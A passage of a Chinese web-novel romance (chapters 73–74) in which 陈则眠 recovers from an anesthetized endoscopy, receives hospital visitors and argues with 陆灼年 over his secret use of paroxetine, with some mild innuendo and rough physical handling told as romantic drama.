陆灼年以为陈则眠在狡辩,拇指轻轻移动,指在他削尖的下颌轮廓上抹过:“可你瘦了很多。” 陈则眠又小声说了一次:“我没有。” 陆灼年手指微顿,再次看向陈则眠的眼睛:“你没有什么。” 陈则眠像是被陆灼年的目光烫了一下,睫稍无端颤了颤,但还是用很确认的语气回答了对方的问题。 “我没有,不想见你。”陈则眠说。 陆灼年呼吸微滞,眼神陡然变化。 当他垂下双眸,再次凝视陈则眠的刹那,平静的眼眸里涌起了一丝复杂的情绪。 “那你想见我吗?”陆灼年问。 陈则眠抿了下唇线,缓缓点了下头。 陆灼年继续道:“想见我,为什么不敢见?” 问到这个问题,陈则眠就不说话了。 他低下头手指勾着卫衣的两根帽绳研究,好像平平无奇的绳子有多稀奇似的。 陆灼年一阵气闷。 别说陈则眠现在还病着,就是他活蹦乱跳的时候,陆灼年都舍不得对陈则眠讲重话,更无论打他骂他、严刑逼供了。 陈则眠拒不配合调查,手眼通天的陆灼年也只能偃旗息鼓,将所有的问题都压回心底,不再追究。 陆灼年把帽子扣回陈则眠的头上,不轻不重地推了他脑袋一把:“你就躲吧。” 陈则眠也不想躲。 但就是打死他,他也不能说自己这一阵忽然不敢回家,是因为看了男男动作片,对性间得更为深入的行为产生了抗拒。 “真的太可怕了。” 第二天做完胃镜,陈则眠醒来的时候,麻药劲儿还没有过去。 他整个人迷迷糊糊的,完全忘了前一天的‘打死都不能说’,睁开眼就开始胡言乱语,嘀嘀咕咕的不知道在说什么,反复重复这句‘太可怕了’。陆灼年安慰他:"不可怕,胃镜已经做完了,你先躺好睡一会儿,醒来就不难受了。" 陈则眠只隐约听清了个‘睡’,当即吓得坐起来:"不行,别睡!" 陆灼年问医生:“他这是怎么了?” 医生解释说:“麻药会抑制中枢神经系统,使人失去意识、神志不清,这是正常现象陆先生,很多患者都会这样,您不用担心。”陈则眠大脑还没有完全恢复正常,说话也颠三倒四,像喝醉了酒,也像是喝了吐真剂。 在一众医生护士面前,他抓着陆灼年肩膀上的衣服不撒手,像只应激的猫,一边手软脚软地往陆灼年身上爬,一边哼哼唧唧地说不行。 陆灼年一个人按不住陈则眠,医生护士都过来帮忙,七手八脚地把他从陆灼年身上拽下来,往病床上放。 陈则眠紧紧搂着陆灼年不撒手,用自以为很大、其实跟猫崽哼哼差不多音量的声音喊:“我不回床上,不做了。” 陆灼年单手抱住陈则眠,示意医生护士都别拽他了。 陈则眠窝在陆灼年怀里,说:“可以不做吗?” 陆灼年告诉他:“已经做完了,没事了。” 陈则眠脸上划过一丝不可置信,软绵绵地扭过头看自己的屁股:“什么?!已经做完了?!!” 陆灼年应道:“嗯,做完了。” 陈则眠猝然大惊:“我怎么没感觉?一点感觉也没有。” 护士说:“静脉全麻,当然没感觉。” 陈则眠闻言瞪大眼睛,心说难怪自己全身无力。 他勉强撑起身子,用谴责的语气问陆灼年:“你怎么能这样。” “昨天不是你自己同意的吗?”陆灼年看着陈则眠,还在和他讲道理:“不用麻药你又受不了。” 陈则眠头晕目眩,根本想不起来自己同意用麻药的事情。 他现在脑子乱糟糟的,都不知道自己是在哪里,在干什么。 只知道‘做完了'',还是‘全麻做的''。 木已成舟,现在说什么都晚了。 陈则眠认命地一低头,把脑袋磕在陆灼年肩头,偏过头小声骂他:“陆灼年,你真不要脸。” 73_82 73、第73章 清醒以后,陈则眠有点想死。 他不仅在神志不清的时候说了很多糊涂话,还做了很多糊涂事。 好消息是由于表达模糊,陆灼年应该只当他在讲胡话,说的是不想做胃镜,而不是做别的。 也算是不幸中的万幸了。 胃镜检查结果倒不算糟糕,只是后面列明的一大串禁食名单让他有点生无可恋。 医生说胃病要三分治七分养,油炸食品、高脂肪肉类、辛辣刺激食物,寒凉饮品、生冷海鲜都最好不要吃。 基本上是把他整个食谱都排除在外了。 陆灼年把禁食名单发给家里的阿姨,明令禁止上述菜品出现在在餐桌上。 陈则眠垂死挣扎道:“是我不能吃,又不是你不能吃,也没必要把那些菜都砍掉吧。” 陆灼年说:“就是给你吃的。” 陈则眠歪了下头:“嗯?那你不吃吗?” 陆灼年漫不经心地削着苹果:“嗯,你回盛府华庭住吧,有阿姨给你做饭,我回陆宅。” 陈则眠撑着手,坐起身:“不行。” 陆灼年手上的水果刀微微一顿,连续的苹果皮突然断了,他抬眸看着陈则眠:“为什么不行?” 陈则眠一把抓住陆灼年的袖子:“不行就是不行,你都说了我想怎么样都可以,现在又想说话不算话吗?” 陆灼年轻轻笑了笑:“可是我不知道你想怎样,陈则眠,你什么都不跟我讲,突然就搬出去了。” 陈则眠言辞含混,答不出来。 不要说陆灼年不知道他想怎样,他自己都说不出来自己到底想怎样。 陆灼年看着陈则眠:“是我哪里得罪了你吗。” 陈则眠说:“没有。” 陆灼年又看了陈则眠两秒,说:“你必须得回盛府华庭住,这事没得商量,等身体养好了,想去哪里我都不会管。” 陈则眠正要开口说什么,病房房门忽然被敲响三下。 陆灼年没有应声,垂眸看着手里削了一半的苹果,不知在想些什么。 陈则眠说了声:“请进。” 推门声响起,郑怀毓怀抱一束鲜花,缓步走了进来。 郑怀毓身后,竟然还跟着沈青琬。 陈则眠略微惊讶:“你们认识吗?怎么还一起来了?” 郑怀毓把花放在床头:“我是来探病,在护士站正好遇见了沈小姐。” 沈青琬这次没有带小蛋糕,而是带了自己炖的牛奶木瓜炖银耳。 她洗手盛了碗木瓜银耳:“木瓜健脾养胃,可以缓解消化不良,炖着吃效果最好,你尝尝。” 陈则眠受宠若惊:“你怎么知道我在医院?” 沈青琬含笑道:“听闫洛说你病了,他本来想亲自看你,我让他好好上课,替他过来看一眼。” 陈则眠接过碗,先说了句 谢谢,然后又说“是的,他马上高考了,正在上冲刺班,每节课都很重要,我一会儿跟他说一声,只是做个检查,没有什么大毛病。”陆灼年似是头疼,撑手抵着额角,一直没说话,看到沈青琬过来,起身将床边的座位让出来:“你坐。” 沈青琬有点惊诧地看向陆灼年,说:“会长您坐就好,我说几句话就走。” 陆灼年淡淡道:“你们慢慢聊,我出去接个电话。” 陈则眠看着陆灼年的背影消失在门口,不知为何心里忽然有点不舒服。 从前陆灼年是不会放他和沈青琬独处的,可这次陆灼年不仅把位置让出来,还找借口避了出去,仿佛专门给他们制造机会似的。 那种感觉很微妙,就和陆灼年说‘你回盛庭华府,我回陆宅’的时候一样,好像在特意和他划清界限、保持距离。 陈则眠不喜欢这样,不自觉蹙了下眉梢,端在手里的木瓜银耳也没喝。 郑怀毓没忍住轻笑了一声。 陈则眠和沈青琬同时看向他,沈青琬没说话,陈则眠问他:“咋了。” 郑怀毓风度翩翩,优雅地在单人病房里来回踱了两步,最终走到窗边,屈指弹了下窗台上的鱼缸:“哎呀,你看这个鱼多傻,只知道水在震,却不知道是外面有人敲鱼 沈青琬侧头看过去:“这个鱼好漂亮。” 郑怀毓温文道:“这是孔雀鱼,流行的水族观赏鱼之一,杂食性小型鱼种,对环境的适应能力很强,好养、漂亮、性情温和。” 沈青琬被绚丽多姿的鱼尾吸引过去,好奇地观察着鱼缸:“鱼还有性情呢。” 郑怀毓斜倚窗台,垂眸看着沈青琬:“有的鱼捞出来会蹦哒,孔雀鱼被捞出来只会乖乖躺在你手里,还会吐泡泡。” 陈则眠既觉得郑怀毓话里有话,又觉得郑怀毓在招蜂引蝶,赶紧把沈青琬叫回来,和她随便聊了两句学校里的事情。 B大近来讨论度最高的事情就是留学季了。 沈青琬也很想去某个著名音乐学院做交换生,她的绩点符合要求,专业成绩在全系也是名列前茅,但却因为父亲有犯罪记录,失去了交换生评选资格。说起这件事的时候,沈青琬有些遗憾,但并不愤慨。 “我可以从现在开始攒钱,等到大四去那边读研也是一样的。” 沈青琬像一株藤蔓,纤柔但坚韧,眼中充满了对未来的憧憬:“前一阵刚还清我爸的欠款,家里现在也没什么钱。” 郑怀毓也用欣赏的眼神看着沈青琬:“我有朋友在那边读书,认识不少教授,到时候可以给你写推荐信。” 沈青琬讶然道:“真的吗?” 郑怀毓点点头:“真的,我大学就是在加州念的。” 沈青琬惊喜万分,和郑怀毓交换了微信,说:“没想到今天来探病还能遇见贵人。” 郑怀毓不认为自己是什么贵人,他只是认可了沈青琬的颜值,也将其归纳入自己的种群。 所有人都认为郑怀毓招蜂引蝶,但他其实只是在找找同类。 这是个看脸的世界,美丽的生物能得到很多优待,但同时也面临着许多危险。 郑怀毓很幸运,除了漂亮还拥有优渥的家世,他会用自己拥有的资源,尽可能帮助种群中的其他人。 没人相信一个帅气多金的纨绔子弟,会有如此单纯的好心,不求回报地帮助别人,于是,郑怀毓风流多情的名声传遍了整个二代圈。 无法避免的是,在郑怀毓帮助同类的时候,总会有很多人喜欢上他,让他十分苦恼,然而每每揽镜自照,郑怀毓又非常慷慨大方地原谅了那些人—— 也不能怪她/他们喜欢自己,他也很喜欢自己。 不过原谅归原谅,但郑怀毓还是会把喜欢上自己的那些人,默默开除出他的种群,并且从此远离他们。 因为‘喜欢’这件事对漂亮的生物而言,本身就意味着危险。 譬如开在枝头的美丽花朵总是容易遭到攀折,大多数人的喜欢都片面且肮脏,充满了占有和毁坏的欲.望。 他本来以为陆灼年对陈则眠就是这种欲.望,但通过这两天的观察,又发觉陆灼年并没有在‘折'',而是在''养''。 当然也有在‘钓''。 而且漂亮小鱼似乎已经动摇了。 只是傻鱼还不知道。 陈则眠对陆灼年的关注,体现在很多方面,郑怀毓无需多加列举,只听陈则眠和沈青琬聊天就能窥见端倪。 既然提到留学季,话题自然而然地绕到了陆灼年身上。 对于陆灼年拒绝留学这件事,不仅他们本系的人十分惊讶,连外系的人都有所耳闻。 “大家都以为他会去留学的。” 沈青玩微微倾身,低声和陈则眠分享八卦“在我们学校,学生会会长大二下学期去留学是传统,我们几个副会长本来以为陆少会出去留学,都开始明争暗斗抢着晋升会长了,没想到他忽然说不去了。” 陈则眠用勺子戳着碗里的木瓜,样子比几个副会长还要愁:“我也不知道他为什么不去,多好的机会,要是浪费了….” 要是浪费了,是不是后面很多剧情都不会发生了? 沈青琬倒是隐约猜到陆灼年不去可能和陈则眠有关,但人家自己都不说,她当然不会多嘴乱讲,只是安慰陈则眠:“陆少心里有数,你先养好身体比什么都强。” 陈则眠笑了笑:“我真没事,还麻烦你跑这一趟,还给我炖了这么好吃的牛奶木瓜。” 沈青琬看了眼碗里被戳得稀烂的木瓜:“好吃吗?” 陈则眠不假思索:“好吃啊。” 沈青琬眯了眯眼睛:“你还一口都没吃呢,陈折。” 陈则眠:"……" 沈青琬下午还有课,略坐了一会儿就走了,郑怀毓很绅士提出送她下楼,还说要顺路送她回学校,沈青琬推脱了一番,郑怀毓却说这自己是陈总的秘书,理应替陈总把人送回学校。 不知为何,陈则眠每次看到郑怀毓,都不自觉地幻视对方是一只蝴蝶精或者一株水仙花,美丽又易碎,还香喷喷的熏人,和刘越博、叶玺之流完全不同,是既不能打也不能骂。 陈则眠有点不知该怎么和郑怀毓相处,见他有要走的意思,赶紧小声跟沈青琬说:“你快让他送你吧,他身上的香味熏得我总想咳嗽。” 沈青琬忍不住笑:“行吧,那我就恭敬不如从命了。” 两个人走了好一会儿,陆灼年才不紧不慢地回到病房。 他没有问陈则眠他们都聊了什么,也没有坐回床边,而是坐在了靠墙的沙发上。 陆灼年侧脸轮廓锋锐而清隽,眼神中没有太多感情,有种不可言说的高贵和遥远。 陈则眠有点奇怪:“你打电话打这么久?” 陆灼年听见陈则眠叫他,应了一声:“可颂等会儿来看你。” “来这儿吗?”陈则眠不自觉地皱了皱眉:“我不是观察一会儿就能走了吗?” 陆灼年声音肃然而冷冽,不掺杂半分情绪:“你在哪里方便就让他去哪儿吧。” 听到陆灼年这个语气说话,陈则眠心头忽地一沉,像是想到了什么。 “你刚才到底干啥去了。”他问。 陆灼年:“接电话。” 陈则眠余光扫过陆灼年的口袋,倏忽间灵光一闪:“你过来一下。” 陆灼年:“怎么了?” 陈则眠说:“有点恶心,想喝水。” 陆灼年起身走过来,倒了温水端给陈则眠。 陈则眠垂眸看向水杯。 透明的玻璃杯内,水面微不可察地轻轻晃动着。 陈则眠抬起手,没有去接水杯,而是摸向陆灼年的西装口袋。 他信手一翻,从口袋里摸出一板药。 是帕罗西汀。 窄长的锡纸板上,右上角的那颗药已经不见了。 陆灼年刚才居然是去开药了! 陈则眠中食二指夹着药,明知故问道:“这是什么?” "……." 陆灼年没有回答。 他知道陈则眠看得到药品名。 陈则眠深吸一口气,抬眸瞪向陆灼年:“你犯病了不和我说。” 陆灼年握着水杯的手指轻轻蜷起:“没有犯病,只是有点征兆,提前吃点药预防一下。” 陈则眠扯了下唇,明显不信道:“是吗?” 陆灼年:“嗯。” “可是为什么要预防呢?”陈则眠握紧手里的锡纸药板:“你是不想让我再给你治病了,还是像默认我下周不会回盛府华庭那样,默认我不想帮你了?” 陆灼年面色沉静,平稳的情绪一如他无动于衷的态度,即便面对诘问也没有丝毫起伏,只是静静看了陈则眠三秒。 帕罗西汀在临床上的不良反应有很多种,根据个人体质的差异,每个人服药后的副作用也都不一样,陈则眠感受到的是情绪低落,而在陆灼年身上体现出的,则是很明显的情感淡漠。 之前陆灼年长期连续服药,已经习惯了克服不良反应并建立了一定耐受性,所以服药前后的表现,并不会有特别分明的变化。 可他这次足足停药了两个月。 而且从刚刚开出的这盒帕罗西汀,也不是他常吃的那个制药公司生产的,两个药厂的药在药物成分和剂量剂型不可能完全相同。 几层因素叠加在一起,致使陆灼年产生了自己都不曾预料到的强烈反应。 头疼、恶心,手指轻微发抖,情感波动也变成一种很抽象的东西。 他能感受到自己可能和平时有些不一样,也在尽量表现得‘正常’,但没想到差距会这么大。 大到陈则眠只用了几分钟就发现了不对。 陆灼年以为自己假装得很好,可陈则眠已经习惯了那个情感更丰富的陆灼年。 陈则眠一看他那副死气沉沉的样子,立刻就察觉到了不对劲。 作为曾经误服过帕罗西汀、亲身体会过该药物副作用的陈则眠,理智上很清楚现在不是和陆灼年交谈的好时机。 他应该等药效衰退、等陆灼年恢复正常,在和那个自己熟悉的陆灼年沟通。 眼前这个挂着‘情感淡漠DeBuff的陆灼年,显然不是很好说话的样子。 可知道是一回事,能不能做到又是另外一回事了。 陈则眠又没有挂情感淡漠DeBuff。 他现在很不高兴、非常恼火、特别生气。 气陆灼年不信任他、气陆灼年自作主张,气陆灼年宁可吃药也不让他知道犯病的事。 甚至连因药物不良反应而产生的副作用都惨遭牵连。 摆出一副冷若冰霜、漠然无情死出给谁看呢! 陈则眠怫然大怒,整个人犹如一个充气的气球或者河豚,越想越气,脑子里那根名为理智的弦嘭的一下就崩断了。 他气炸了! 如果陈则眠是一个游戏人物,那他此刻的红色怒气槽一定满到发紫。 有!气!就!是!要!发!泄! 陈则眠怒火冲天、心烦意乱,看什么都不顺眼,别说是陆灼年,就连路过的狗都得挨两巴掌。 这股怒气实在太过强烈,连在药物副作用下,对外界刺激缺乏相应的情感反应的陆灼年都感受到了。 陆灼年抬手握住陈则眠手腕:“你别生气。” 陈则眠寒着脸看向陆灼年:“你现在不是情感淡漠?对什么都漠不关心、无动于衷。” 陆灼年平静道:“情感淡漠不是智商低下。” 陈则眠:“… 陆灼年轻轻握紧陈则眠的手腕,看着他的眼睛说:“这次服药的副作用,比我预估的要强烈很多,我当下的感情体会上是受到了药物影响,无法共情你的情绪,但我知道你在生气,能先别气了吗?" 陈则眠甩开陆灼年的手:“你都无法共情我的情绪,干嘛还管我气不气。” “我只是暂时无法共情你的情绪,又不是以后都不活了,"陆灼年眼神冷淡,乌沉沉的眸子像含着前面不化的冰,可说出的话却比春风更软:“现在不管你生气,明天你就又不知跑哪儿去了。” 在陆灼年良好的态度下,陈则眠的怒气勉强消下去一点,没有再阴阳怪气,而是小声嘀咕了一句:“我能跑到哪里去。” 陆灼年表示:“之前都没有得罪你,你说走就走了,这次要真把你得罪了,我还能再见到你吗?” 陈则眠又有点炸毛:“我就那么小气吗?” 陆灼年再次拉住陈则眠的手腕:“不是你小气,是我太怕见不到你。” 陈则眠这次没有再挣开了,但嘴上也没饶了陆灼年:“见不见有什么区别,你都开始吃药了,以后也用不着我了。” 陆灼年眉峰蹙起“这是两回事,不要混为一谈,你今天刚做完胃镜,最近身体又不舒服,我不能这个时候犯病,所以才提前吃药预防 我确实不太适应这个药厂的药,以后不会吃了,家里那些药你放哪儿了?" 陈则眠张了张嘴,几乎就要被陆灼年绕进去,差点把藏药地点秃噜出去。 但在千钧一发之际,他还是机敏睿智地反应了过来。 “你竟然在套我的话?!” 陈则眠简直服了:“都这个时候了,你竟然还能套我的话,陆灼年你心眼也太多了吧。” 怎么会呢?我上次犯病就问你了,只是你没告诉我,我这是再为下次犯病做准备,”陆灼年从容不迫,看了一眼陈则眠手中的锡纸板“你也不希望我再吃这个药厂的药 陈则眠明知这是诡辩,但还是觉得陆灼年说得很有道理。 这他妈对吗? 这是什么超绝智商和应变能力啊。 陈则眠呆了呆,震惊地看着陆灼年。 陆灼年夷然自若。 陈则眠瞠目结舌,一时不知该如何反驳。 陆灼年继续道:“你不想让我吃药是担心我的身体,可现在你也病了,你不能不许我担心你的身体吧,你先把病养好,这才是最重要的,对不对。” 在陆灼年刁悍的思维逻辑之下,陈则眠抗辩的话语听起来略显无力。 “我这是胃病,治病又用不着胃,跟我身体好不好有什么关系?” 陈则眠努力跳出陆灼年的逻辑:“你吃这个药,我胃病就能好了?咱们之前是怎么说的?陆灼年,你这个人真是 我都无话可说了。” 陆灼年说:“陈则眠,其实吃药挺好的,没有那么多麻烦。” 陈则眠霍然抬头:“什么叫没有那么多麻烦?你觉得我帮你治病是麻烦?” 陆灼年垂下鸦羽般的眼睫:“你没帮我治病之前,我们没有这么多矛盾。” 陈则眠不假思索道:“我们现在也没有矛盾。” “没有矛盾吗?可你这一周连家都不回,”陆灼年因为过度冷静,显得有些盛气凌人,明明是陈述的语气,听起来却像是质问:“说帮我治病的是你,处处躲着我、不想见我的也是你,如果你是我,你会怎么想。" 陈则眠恼羞成怒:“我说过了我没有不想见你!再说不回家和治病冲突吗?只要你找我,我就会回去,可是你找了吗?你都没有找我,也没有问我,就默认我不会回去了!" 走廊里的护士听到病房内的争吵,轻轻敲了敲门。 护士温声道:“请问有什么需要帮助吗?” 陆灼年回身看了眼门。 陈则眠深吸一口气,说:“没有。” 护士说:“陆先生,患者刚刚做完麻醉,请您注意一下病人情绪。” 陆灼年应道:“我知道了。” 护士又劝了陈则眠一句:“陈先生,全麻胃镜检查后,身体会感到疲劳,您要注意休息啊。” 陈则眠狠狠地倒回病床上:“知道了。” 陆灼年帮陈则眠掖了下被角:“你先不要生气,也不要激动,等我们都冷静下来再好好谈。” “你觉得我不冷静。”陈则眠冷笑一声:“不生气,不激动,像你这样是吧?行。” 陈则眠说完,直接抠出一粒帕罗西汀放进自己的嘴里:“吃完这药我就不生气,不激动了。” 陆灼年瞳孔剧烈收缩,一成不变的表情终于有了变化。 他一把掐住陈则眠的脖子,说:“吐出来。” 陆灼年的力气很大,掐得陈则眠呛咳两声。 陈则眠根本没办法做吞咽的动作,但还是嘴硬说已经咽了。 陆灼年面无表情,直接捏紧陈则眠下颌,强迫他张开嘴,把手指伸了进去。 修长的手指探入口腔内,在一片温热中摸索,搅弄着柔软的舌。 陈则眠根本合不拢嘴,只能任由陆灼年的手在他嘴里为所欲为。 他被铁钳般的手按在枕头上,紧紧钳制着,逼不得已,只能高高仰起头,脖颈勾勒出一道脆弱的线条,宛如一只仰颈垂死的天鹅。 优美、漂亮、易折。 陆灼年眸光愈加幽暗,指腹摩挲着舌根,在舌头下面找到那小小的一粒药。 来不及吞咽的口水,顺着脸颊缓缓滑落,留下暧昧湿润的水痕。 陆灼年夹着那颗药,把手抽了出来。 陈则眠几欲作呕,在陆灼年离开的瞬间,侧身撑着床一阵呛咳。 陆灼年抻出两张纸巾,半蹲在床边,沉默地给陈则眠擦嘴。 另一只手的掌心里,紧紧握着那颗濡湿的帕罗西汀。 小小的药粒上还沾着陈则眠的体温。 握着那粒药,就像握着一粒火星。 余温灼烧手掌,温度穿透皮肉刻入骨髓,几乎将他的灵魂焚烧殆尽。 陈则眠咳得很剧烈。 因为陆灼年找药的动作太急了,甚至比性瘾发作时还要粗暴。 他太怕陈则眠把药咽下去。 这颗药的副作用很大,而陈则眠又刚刚做完胃镜,再次强行催吐会更难受。 但也正是由于刚做完胃镜,胃管插入时刺激了喉咽部黏膜,陈则眠喉咙本来就很不舒服,有种若有若无的异物感,一咳嗽起来就止不住干呕。 他胃里很干净,什么都吐不出来,只呕得双眼泛红,眼睛里全是生理性的眼泪,一闭眼就顺着脸颊淌了下来。 陆灼年依旧没有任何表情,又抽了两张纸巾给他擦眼泪。 陈则眠胆大包天,就应该让他吃点教训,才知道什么叫天高地厚。 “以后还随便吃药吗?” 陆灼年目光毫无温意,从上而下投在陈则眠头顶,冷声警告道:"下次不要这样了。" 陈则眠轻笑一声,抬起通红的眼睛看着陆灼年:“不要哪样?” 陆灼年喉咙微微动了动,意有所指道:“不要自找苦吃,你可以不管我的。” 陈则眠眉梢轻挑,扬起道桀骜不驯的弧度:“若是我偏要管呢?” 陆灼年眼眸沉暗如墨,阴郁幽邃:“你会比现在还要凄惨。” 陈则眠又笑了:“陆灼年,你好像总是记不住我说的话。” 陆灼年还没来得及表示疑惑,整个人陡然失重,被一阵堪称诡异的力量掼在床上。 在巨大冲击力下,陆灼年很快反应过来— 是陈则眠。 这是他第一次在实际意义上受到陈则眠的袭击。 姑且算是袭击吧。 这种程度的爆发力和杀伤力令人震撼。 陆灼年知道陈则眠很能打,但看他打别人和自己亲身感受的真实程度不可同日而语。 后背落在实处的刹那,陆灼年眼前是那张美到极致的脸。 陈则眠居高临下,轻轻勾起唇角:“我说过,如果我不愿意的话,没人能强迫得了我。” 陆灼年眼眸微微一动。 陈则眠俯下身,在陆灼年耳边说:“那颗药我本来也没想吃,就是吓唬吓唬你。” 陆灼年侧过头,鼻尖轻轻蹭在陈则眠脸颊上:“你故意的。” 陈则眠笑得嚣张狡黠:“当然是故意的,吃药是故意的,让你把药抠出来也是故意的,我又不真傻。” 陆灼年眼中闪过一丝笑意,抬手轻轻拧了下陈则眠颊边腮肉:“谁给你的胆子耍我?” 陈则眠眯了下眼睛,不仅没被恐吓到,反而威胁起陆灼年来:“这次只是警告。” 陆灼年:“警告什么?” 陈则眠看着陆灼年的眼睛,语气罕见的认真:“我说过你不许吃帕罗西汀,你就不许再吃,如果又让我发现你偷偷吃药,你吃多少,我就吃多少。” 听到这句话,陆灼年冷寂幽深的长眸倏然撼动,用一种难以形容的眼神看着陈则眠。 陈则眠挑了挑眉,潇洒又矜傲:“要难受就都难受,你愿意忍副作用,那我陪你一起忍。 74、第74章 没吃药的陈则眠已经很抽象了。 吃了药的陈则眠,陆灼年更是不敢想象,而且他知道对方既然说得出,就一定做得到。 在陈则眠严肃的注视下,陆灼年交出了另外半盒帕罗西汀。 陈则眠就像是搜剿到违禁品的警察,一丝不苟地讯问道:“真的只开了这一盒药吗?” 陆灼年点头称是。 陈则眠不是很信任陆灼年的说辞。 他叼着陆灼年交出的药,一手将对方手腕拉过头顶,另一只手摸向陆灼年西裤的口袋,检查兜里还有没有私藏的违禁品。 正在这时,病房门忽然被推开—— “萧少、叶少,陈先生就在这间病房。” 听到门响,陈则眠和陆灼年同时回头,和领路的医生,前来探望的萧可颂、叶宸面面相觑。 时间在这一瞬间被无限拉长。 下一秒,所有人同时动了起来,每个人的动作都各有各的精彩。 医生见多识广,即便见到这么匪夷所思的场面也举止得当,只是轻咳一声,后撤两步,和一众保镖迅速退下。 “…. 萧可颂瞪大了双眼,整个人如遭雷击,难以置信地瞧着床上姿势古怪的两人。 叶宸似笑非笑,信手一推,先把萧可颂推进病房,接着紧随其后,闲庭信步般迈进门,说了句:“打扰。” 陈则眠放开陆灼年,以迅雷不及掩耳之势侧身一滚,把人推向旁边,然后一掀被子趟回病床上。 陆灼年若无其事地站起身,轻抚衣襟。 在众人齐心协力之下,短短数秒间拨乱反正,一切都恢复正常。 萧可颂恍惚了一瞬。 他觉得自己可能是产生了刹那幻觉,又或者是开门的半秒闪回到了其他时空。 并非他异想天开,实在是那个场景太不可思议,也太荒诞不经了。 萧可颂宁可质疑自己的精神状态,也不敢相信自己看到的东西。 怎么会有人敢把陆灼年按在床上呢? 还摸来摸去! 那可是是高高在上、众星捧月的京圈太子,冷情淡漠、厌恶与人肢体接触的陆家大少爷!而把他按在床上的人,却是脾气性格都软软乎乎的陈则眠,稍微一不留神就会被人拐走欺负占便宜的陈则眠。 陈则眠骑在陆灼年身上摸来摸去,和缅因猫崽站到老虎脑袋顶上耀武扬威有什么区别? 简直是掀天揭地、乾坤颠倒。 乱了,乱了,全乱了,整个世界运行的逻辑都错乱了。 萧可颂瞳孔剧烈收缩,心情已经不能用震惊来形容,是骇然、是惊恐。 他用了很久才找回了自己的声音:“你俩刚才在干啥?” 陈则眠若无其事:“没干啥,闹着玩呢。” 萧可颂不是很相信的样子:“玩啥?玩灼年?” 病房内陷入了诡异的沉寂。 半晌,陈则眠岔开话题:“你怎么来了?今天不是有课吗?” 萧可颂回过神,说:“你病得这么厉害,我哪里还有心情上课,赶紧就请假出来了。” 叶宸无情拆穿:“不是因为期中论文没写,今天开题答辩吗?” 萧可颂转头瞥向叶宸,恼羞成怒道:“拆穿我有意思吗?” 陈则眠头昏脑胀的,实在不想听萧可颂吵架,赶紧说:“不重要,你能来看我就很好了。” 萧可颂走到床边:“我也确实挺想你的,你最近都在忙啥呀,约也约不出来,我都不知道你在干嘛,一得到消息就是生病。” 陈则眠往里面挪了挪,拍拍床示意萧可颂坐下说:“我没什么事,就是检查完在医院观察一天,一会儿就能走了,你也赶紧回去补开题报告吧。”萧可颂自信满满:“那玩意什么时候都能写,两个小时的事。” 叶宸没说话,只是看了萧可颂一眼。 萧可颂无视了叶宸的质疑,提议道:“咱们四个都好久没聚了,既然你一会儿就能出院,那我们出去玩吧。” 这段时间陈则眠和陆灼年都很奇怪,两个人总是各走各的,约了这个那个不来,约了那个这个不来的,莫名其妙地别扭了好久。 今天终于凑齐了四个人,有什么误会啊 龋的最好能趁机说开,就算明面上不提,多接触接触也有利于化解矛盾。 朋友之间偶尔有点冲撞再正常不过,他和叶宸也经常吵架,但好哥们没有隔夜仇,不过是闹僵了都架在那儿下不来,搭个台阶就成了。 今天正是个好时机。 萧可颂继续鼓动陈则眠:“出去玩吧,出去玩吧,难得大家都有时间。” 叶宸提出异议:“我下午还有课。” 萧可颂说:“再请半天假呗,灼年这两天也不是都没去学校吗?” “灼年请了三天假,理由是家人生病,”叶宸眼神在陈则眠身上一扫而过,意有所指道:“我可没有理由请假。” 萧可颂拿出手机看了看课表,替叶宸做了决定:“你下午就一节公共课,创业与就业指导,你用得着他指导啊,翘了就行。” 见萧可颂态度坚决,叶宸也就不再反对,默认了他一起逃课。 说服了叶宸以后,萧可颂又开始接着游说陈则眠。 只要叶宸和陈则眠都同意,陆灼年多半也不会拒绝,再说陈则眠现在半病不病的,陆灼年也不可能放任他自己把陈则眠带出去瞎玩,肯定要亲自监督才放心。 萧可颂的不靠谱众所周知,有目共睹。 但萧可颂不觉得不靠谱有什么不好,反而在漫长的相处中,学会了利用这点,来巧妙达成自己的目的。 比如他前几天去看小狗表演,叶宸原本不想去,萧可颂说那他就自己去,叶宸怕萧可颂心血来潮真认领个狗回来,就同意陪他去看了。 毕竟萧可颂这个人说风就是雨,从来都是想一出是一出。 当初养猫的时候就是,买完以后养几天不想养了,转手就扔给叶宸,要是看什么表演又一时兴起领个狗回来,养一阵又觉得没意思,叶宸难道还在帮他养个狗吗?关键要是个真狗也行,那种狗就是叶宸也不敢瞎养,且不论家里发现了会如何天翻地覆,仅是接手好兄弟弃犬这种事儿就足够诡异荒诞。 从小到大,向来都是萧可颂不管不顾地在前面惹祸,他和陆灼年跟在后面收拾。 叶宸站在一旁,抱臂审视萧可颂,开始思考自己和陆灼年这么自矜自持的人,究竟是怎么和萧可颂成为好朋友的。 萧可颂通过劝陈则眠出去玩,现场复刻了他加入小团体的全过程。 简而言之,就是两个字:‘缠’和‘磨’。 在萧可颂讲了三千八百个今天必须一起出去玩的理由后,陈则眠也不知道该说什么了。 他本来就不是很会拒绝别人,尤其这个人还是萧可颂。 陈则眠求助般地看了陆灼年一眼, 接收到陈则眠的求救信号之后,陆灼年直截了当,干脆地打断了萧可颂关于[今日聚会的历史意义论述]。 陆灼年淡淡道:“他还在养病。” 陈则眠附和:“对对,而且等会儿出院以后,我还得去一趟游戏工作室,那边积了好多事要去处理。” 陆灼年转眸望向陈则眠,重申了一遍:“你还在养病。” 萧可颂随机应变,迅速把陆灼年拉向自己的战线:“出去玩总比工作对身体好吧。” 陆灼年神色不动,未置可否。 萧可颂又说:“不玩那些运动量大的,陈则眠最近这么忙,带他放松放松嘛,去泡兰香亭温泉怎么样?” 阳春四月,山上梨花开得正好,泡室外汤泉不冷不热,景色又秀丽,确实是个不错的提议。 陈则眠有些意动:“陆少去要提前包场吧,今天还来得及吗,现在正是旅游旺季。” 萧可颂胸有成竹道:“包场而已,一句话的事,只要你想玩,哪儿我不能给你安排。” 陈则眠说:“那先问问?” 萧可颂一听有戏,立刻叫了声:“叶宸。” 叶宸拿出手机,给兰香亭的经理发了条消息。 萧可颂揽着陈则眠的肩膀,畅想道:“在花树下泡泡温泉,再找个美女给你做个按摩,什么病都好了。” 这话说完,陈则眠还没什么反应,叶宸却轻轻笑了一声。 陆灼年面无表情,不咸不淡地看了叶宸一眼。 叶宸抬了抬眉:“怎么,不能笑吗?” 陆灼年懒得说话,移开视线看向陈则眠。 陈则眠:“?” 看我干啥。 萧可颂对几人间的暗流涌动一无所知,又开始摇陈则眠:“去玩吧去玩吧,如果今天不能出去玩,那我学到的一切、所有美好的品德什么的就全消失了。” 叶宸深表怀疑:“你有过吗?” 